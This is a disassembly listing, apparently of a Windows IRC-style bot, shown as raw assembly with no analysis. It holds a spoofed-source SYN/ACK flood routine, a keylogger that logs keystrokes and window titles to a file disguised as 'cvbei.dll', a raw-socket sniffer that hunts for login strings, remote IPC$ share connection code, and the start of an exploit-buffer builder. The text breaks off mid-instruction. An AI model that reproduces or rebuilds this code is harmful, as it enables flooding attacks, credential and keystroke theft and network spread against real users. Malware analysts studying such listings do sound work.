N E ======================================= ; Attributes: bp-based frame sub_401D79 proc near ; DATA XREF: sub_40EE51+2D56o Dest = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch Str = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h Src = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah Dst = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_423054 call edi ; GetTickCount push eax call sub_4172EE pop ecx push 0FFh push 3 push 2 call ds:dword_43C698 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E42 call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset dword_42542C ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E22 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_40D670 add esp, 14h loc_401E22: ; CODE XREF: sub_401D79+84j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_BC] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 loc_401E42: ; CODE XREF: sub_401D79+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call ds:dword_43C5F8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401EC0 call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset dword_4253E4 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA0 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_40D670 add esp, 14h loc_401EA0: ; CODE XREF: sub_401D79+102j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_BC] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 loc_401EC0: ; CODE XREF: sub_401D79+DFj lea eax, [ebp+var_23C] push eax call ds:dword_43C658 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401F30 lea eax, [ebp+Dest] push offset dword_4253B4 ; Format push eax ; Dest call _sprintf cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F10 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_40D670 add esp, 14h loc_401F10: ; CODE XREF: sub_401D79+172j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_BC] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 loc_401F30: ; CODE XREF: sub_401D79+157j push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push ebx call ds:dword_43C618 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call ds:dword_43C658 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_401F68: ; CODE XREF: sub_401D79+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_40222C push 28h mov [ebp+var_2C], 45h call ds:dword_43C618 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FDB call _rand mov esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FF1 ; --------------------------------------------------------------------------- loc_401FDB: ; CODE XREF: sub_401D79+233j push [ebp+var_240] call sub_40AEDB pop ecx push eax call ds:dword_43C658 ; inet_addr mov [ebp+var_20], eax loc_401FF1: ; CODE XREF: sub_401D79+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_40200F call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_402015 ; --------------------------------------------------------------------------- loc_40200F: ; CODE XREF: sub_401D79+284j push [ebp+var_B8] loc_402015: ; CODE XREF: sub_401D79+294j call ds:dword_43C618 ; htons mov [ebp+var_16], ax call _rand cdq mov ecx, 401h idiv ecx push edx call ds:dword_43C618 ; htons push 12345678h mov [ebp+var_18], ax call ds:dword_43C614 ; htonl mov [ebp+var_14], eax lea eax, [ebp+Str] push offset aSyn ; "syn" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_402065 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020C1 ; --------------------------------------------------------------------------- loc_402065: ; CODE XREF: sub_401D79+2E1j lea eax, [ebp+Str] push offset aAck ; "ack" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_402085 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020C1 ; --------------------------------------------------------------------------- loc_402085: ; CODE XREF: sub_401D79+301j lea eax, [ebp+Str] push offset aRandom ; "random" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4020C1 call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020C1: ; CODE XREF: sub_401D79+2EAj ; sub_401D79+30Aj ... push 200h mov [ebp+var_C], 50h call ds:dword_43C618 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+Src], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call ds:dword_43C618 ; htons mov [ebp+var_5A], ax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_80] push eax ; Dst call _memcpy lea eax, [ebp+var_A0] push 34h push eax call sub_40AF34 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_8C] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_78] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF34 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call ds:dword_43C67C ; sendto cmp eax, 0FFFFFFFFh jz short loc_4021AE inc [ebp+arg_0] jmp loc_401F68 ; --------------------------------------------------------------------------- loc_4021AE: ; CODE XREF: sub_401D79+42Bj push [ebp+var_4] call ds:dword_43C6B0 ; closesocket call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_425344 ; Format lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_40220C push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_40D670 add esp, 14h loc_40220C: ; CODE XREF: sub_401D79+46Ej lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_BC] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 loc_40222C: ; CODE XREF: sub_401D79+203j push [ebp+var_4] call ds:dword_43C6B0 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset dword_4252E4 ; Format push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_40229D push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_40D670 add esp, 14h loc_40229D: ; CODE XREF: sub_401D79+4FFj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_BC] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 sub_401D79 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4022BD(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_4022BD proc near ; CODE XREF: sub_40239E+B4p ; sub_40239E+253p Dest = byte ptr -314h Filename = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_423068 ; GetLocalTime lea eax, [ebp+Filename] push 104h push eax call ds:dword_423064 ; GetSystemDirectoryA lea eax, [ebp+Filename] push offset Source ; "\\" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset aCvbei_dll ; "cvbei.dll" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen mov esi, eax add esp, 18h test esi, esi jnz short loc_402324 push 1 pop eax jmp short loc_40239B ; --------------------------------------------------------------------------- loc_402324: ; CODE XREF: sub_4022BD+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi ; File call _fprintf push esi ; File call _fclose add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_402399 push [ebp+arg_0] lea eax, [ebp+Dest] push offset dword_425BDC ; Format push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 24h loc_402399: ; CODE XREF: sub_4022BD+A3j xor eax, eax loc_40239B: ; CODE XREF: sub_4022BD+65j pop esi leave retn sub_4022BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40239E proc near ; DATA XREF: sub_40EE51+1F81o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h Dest = byte ptr -4DCh var_2DD = byte ptr -2DDh Dst = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call ds:dword_43C5A0 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_43C5B4 mov ebx, 200h loc_4023F9: ; CODE XREF: sub_40239E+2C7j push 8 call ds:dword_423060 ; Sleep call ds:dword_43C5A0 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_402481 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_43C5B4 lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int lea eax, [ebp+Dest] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_4022BD mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_402481: ; CODE XREF: sub_40239E+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402488: ; CODE XREF: sub_40239E+2BDj push 10h call ds:dword_43C4F8 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call ds:dword_43C5E4 ; GetAsyncKeyState test ah, 80h jz short loc_402520 push 14h call ds:dword_43C4F8 ; GetKeyState test ax, ax jz short loc_4024D1 cmp esi, 0FFFFFFFFh jle short loc_4024D1 cmp edi, 40h jle short loc_4024D1 cmp edi, 5Bh jge short loc_4024D1 mov [ebp+edi*4+var_8DC], 1 jmp loc_402650 ; --------------------------------------------------------------------------- loc_4024D1: ; CODE XREF: sub_40239E+112j ; sub_40239E+117j ... push 14h call ds:dword_43C4F8 ; GetKeyState test ax, ax jz short loc_4024FC test esi, esi jge short loc_402510 cmp edi, 40h jle short loc_4024FC cmp edi, 5Bh jge short loc_4024FC mov [ebp+edi*4+var_8DC], 2 jmp loc_402650 ; --------------------------------------------------------------------------- loc_4024FC: ; CODE XREF: sub_40239E+13Ej ; sub_40239E+147j ... test esi, esi jge short loc_402510 mov [ebp+edi*4+var_8DC], 3 jmp loc_402650 ; --------------------------------------------------------------------------- loc_402510: ; CODE XREF: sub_40239E+142j ; sub_40239E+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402650 ; --------------------------------------------------------------------------- loc_402520: ; CODE XREF: sub_40239E+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402650 and dword ptr [eax], 0 lea eax, [ebp+Dst] cmp edi, 8 push eax ; Str jnz short loc_402558 call _strlen and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402650 ; --------------------------------------------------------------------------- loc_402558: ; CODE XREF: sub_40239E+1A5j call _strlen cmp eax, 1B9h pop ecx jbe short loc_40258A call ds:dword_43C5A0 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_43C5B4 lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025CB ; --------------------------------------------------------------------------- loc_40258A: ; CODE XREF: sub_40239E+1C5j cmp edi, 0Dh jnz loc_402622 lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jz loc_402650 call ds:dword_43C5A0 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_43C5B4 lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int push offset aSReturnS ; "%s (Return) (%s)" loc_4025CB: ; CODE XREF: sub_40239E+1EAj lea eax, [ebp+Dest] push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_4022BD mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch jmp short loc_402650 ; --------------------------------------------------------------------------- loc_402622: ; CODE XREF: sub_40239E+1EFj cmp esi, 1 jz short loc_40263B cmp esi, 3 jz short loc_40263B cmp esi, 2 jz short loc_402636 cmp esi, 4 jnz short loc_402650 loc_402636: ; CODE XREF: sub_40239E+291j push [ebp+arg_0] jmp short loc_402642 ; --------------------------------------------------------------------------- loc_40263B: ; CODE XREF: sub_40239E+287j ; sub_40239E+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax ; Source loc_402642: ; CODE XREF: sub_40239E+29Bj lea eax, [ebp+Dst] push eax ; Dest call _strcat pop ecx pop ecx loc_402650: ; CODE XREF: sub_40239E+12Ej ; sub_40239E+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_425BA4 jl loc_402488 cmp [ebp+var_4], 0 jz loc_4023F9 push [ebp+var_D8] call sub_417064 pop ecx push 0 call ds:dword_423050 sub_40239E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40267F proc near ; DATA XREF: sub_40EE51+1DCAo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h Str = byte ptr -1028Ch Dest = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call __alloca_probe mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call ds:dword_43C618 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEDB pop ecx push eax call ds:dword_43C658 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call ds:dword_43C698 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_402754 call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_426604 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402737 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_40D670 add esp, 14h loc_402737: ; CODE XREF: sub_40267F+96j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_30] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 loc_402754: ; CODE XREF: sub_40267F+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov ds:dword_44207C[eax], edi lea eax, [ebp+Dst] push eax push edi call ds:dword_43C644 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4027D9 call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_4265C0 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027B5 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_40D670 add esp, 14h loc_4027B5: ; CODE XREF: sub_40267F+114j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx push edi call ds:dword_43C6B0 ; closesocket push [ebp+var_30] call sub_417064 pop ecx push esi call ds:dword_423050 loc_4027D9: ; CODE XREF: sub_40267F+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call ds:dword_43C5C4 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_40285C call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_426578 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402838 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_40D670 add esp, 14h loc_402838: ; CODE XREF: sub_40267F+197j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx push edi call ds:dword_43C6B0 ; closesocket push [ebp+var_30] call sub_417064 pop ecx push esi call ds:dword_423050 loc_40285C: ; CODE XREF: sub_40267F+177j push ebx mov ebx, offset a_login ; ":.login" loc_402862: ; CODE XREF: sub_40267F+21Bj ; sub_40267F+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call ds:dword_43C630 ; recv cmp eax, 0FFFFFFFFh jz loc_402974 cmp [ebp+var_102AB], 6 jnz short loc_402862 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_402862 lea eax, [ebp+Str] push offset SubStr ; "[PSNIFF]" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_402862 mov eax, ebx xor edi, edi test eax, eax jz short loc_402862 mov [ebp+arg_0], ebx loc_4028D0: ; CODE XREF: sub_40267F+26Cj push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4028F2 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D0 jmp loc_402862 ; --------------------------------------------------------------------------- loc_4028F2: ; CODE XREF: sub_40267F+262j lea eax, [ebp+Str] push eax push [ebp+var_102A0] call ds:dword_43C554 ; htons movzx eax, ax push eax push [ebp+var_C] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, ds:dword_425C8C[eax*8] push ds:off_425C68[eax*4] lea eax, [ebp+Dest] push offset unk_426528 ; Format push 200h ; Count push eax ; Dest call __snprintf add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_402962 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_40D670 add esp, 14h loc_402962: ; CODE XREF: sub_40267F+2C1j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx jmp loc_402862 ; --------------------------------------------------------------------------- loc_402974: ; CODE XREF: sub_40267F+20Ej call ds:dword_43C5AC ; WSAGetLastError push eax push offset unk_4264E4 ; Format lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029BA push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_40D670 add esp, 14h loc_4029BA: ; CODE XREF: sub_40267F+319j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx push [ebp+var_4] call ds:dword_43C6B0 ; closesocket push [ebp+var_30] call sub_417064 pop ecx push esi call ds:dword_423050 sub_40267F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E0 proc near ; CODE XREF: sub_402DCE+28p Dest = word ptr -354h var_34E = byte ptr -34Eh Source = word ptr -124h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_426B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_426B64 ; "\\\\" lea edi, [ebp+Dest] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, ds:byte_4397BC push 45h mov byte ptr [ebp+Source], al pop ecx xor eax, eax lea edi, [ebp+Source+1] rep stosd stosw stosb lea eax, [ebp+Source] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call ds:dword_42306C ; MultiByteToWideChar lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat lea eax, [ebp+var_C] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat mov esi, [ebp+arg_4] lea eax, [ebp+Dest] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4397B8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call ds:dword_43C6B8 cmp eax, 5 mov ebx, 4C3h jz short loc_402AA4 cmp eax, ebx jnz short loc_402AAE loc_402AA4: ; CODE XREF: sub_4029E0+BEj push edi push edi push edi push esi call ds:dword_43C6B8 loc_402AAE: ; CODE XREF: sub_4029E0+C2j cmp eax, 5 jz short loc_402ABC cmp eax, ebx jz short loc_402ABC push 1 pop eax jmp short loc_402ABE ; --------------------------------------------------------------------------- loc_402ABC: ; CODE XREF: sub_4029E0+D1j ; sub_4029E0+D5j xor eax, eax loc_402ABE: ; CODE XREF: sub_4029E0+DAj pop edi pop esi pop ebx leave retn sub_4029E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AC3 proc near ; CODE XREF: sub_402DCE+7Ap ; sub_402DCE+15Ap Dest = word ptr -354h var_34E = byte ptr -34Eh Source = word ptr -124h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_426B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_426B64 ; "\\\\" lea edi, [ebp+Dest] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, ds:byte_4397BC pop ecx mov byte ptr [ebp+Source], al xor eax, eax lea edi, [ebp+Source+1] push 0FFh rep stosd stosw stosb lea eax, [ebp+Source] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call ds:dword_42306C ; MultiByteToWideChar lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat lea eax, [ebp+var_C] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat add esp, 10h loc_402B54: ; CODE XREF: sub_402AC3+AFj push esi lea eax, [ebp+Dest] push esi push eax call ds:dword_43C558 test eax, eax jz short loc_402B74 push 7D0h call ds:dword_423060 ; Sleep jmp short loc_402B54 ; --------------------------------------------------------------------------- loc_402B74: ; CODE XREF: sub_402AC3+A2j push 1 pop eax pop edi pop esi leave retn sub_402AC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B7B proc near ; CODE XREF: sub_402DCE+A9p ; sub_402DCE+1E7p Src = byte ptr -3004h Dst = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call __alloca_probe push esi push edi push offset byte_42E664 ; int mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEDB pop ecx push eax ; Str lea eax, [ebp+Src] push 1000h ; int push eax ; Dst call sub_416BB9 mov edi, eax add esp, 10h test edi, edi jz loc_402DCA push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h ; Size lea eax, [ebp+Dst] push ebx ; Src push eax ; Dst call _memcpy push esi ; Size lea eax, [ebp+var_1FD4] push 0FFFFFF90h ; Val push eax ; Dst call _memset lea eax, [ebp+Src] push edi ; Size push eax ; Src lea eax, [ebp+var_1F2D] push eax ; Dst call _memcpy add esp, 24h lea esi, [edi+0D7h] loc_402C00: ; CODE XREF: sub_402B7B+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C50 mov esi, [ebp+var_4] push 30h ; Size lea eax, [ebp+Dst] inc esi push ebx ; Src push eax ; Dst mov [ebp+var_4], esi call _memcpy push esi ; Size lea 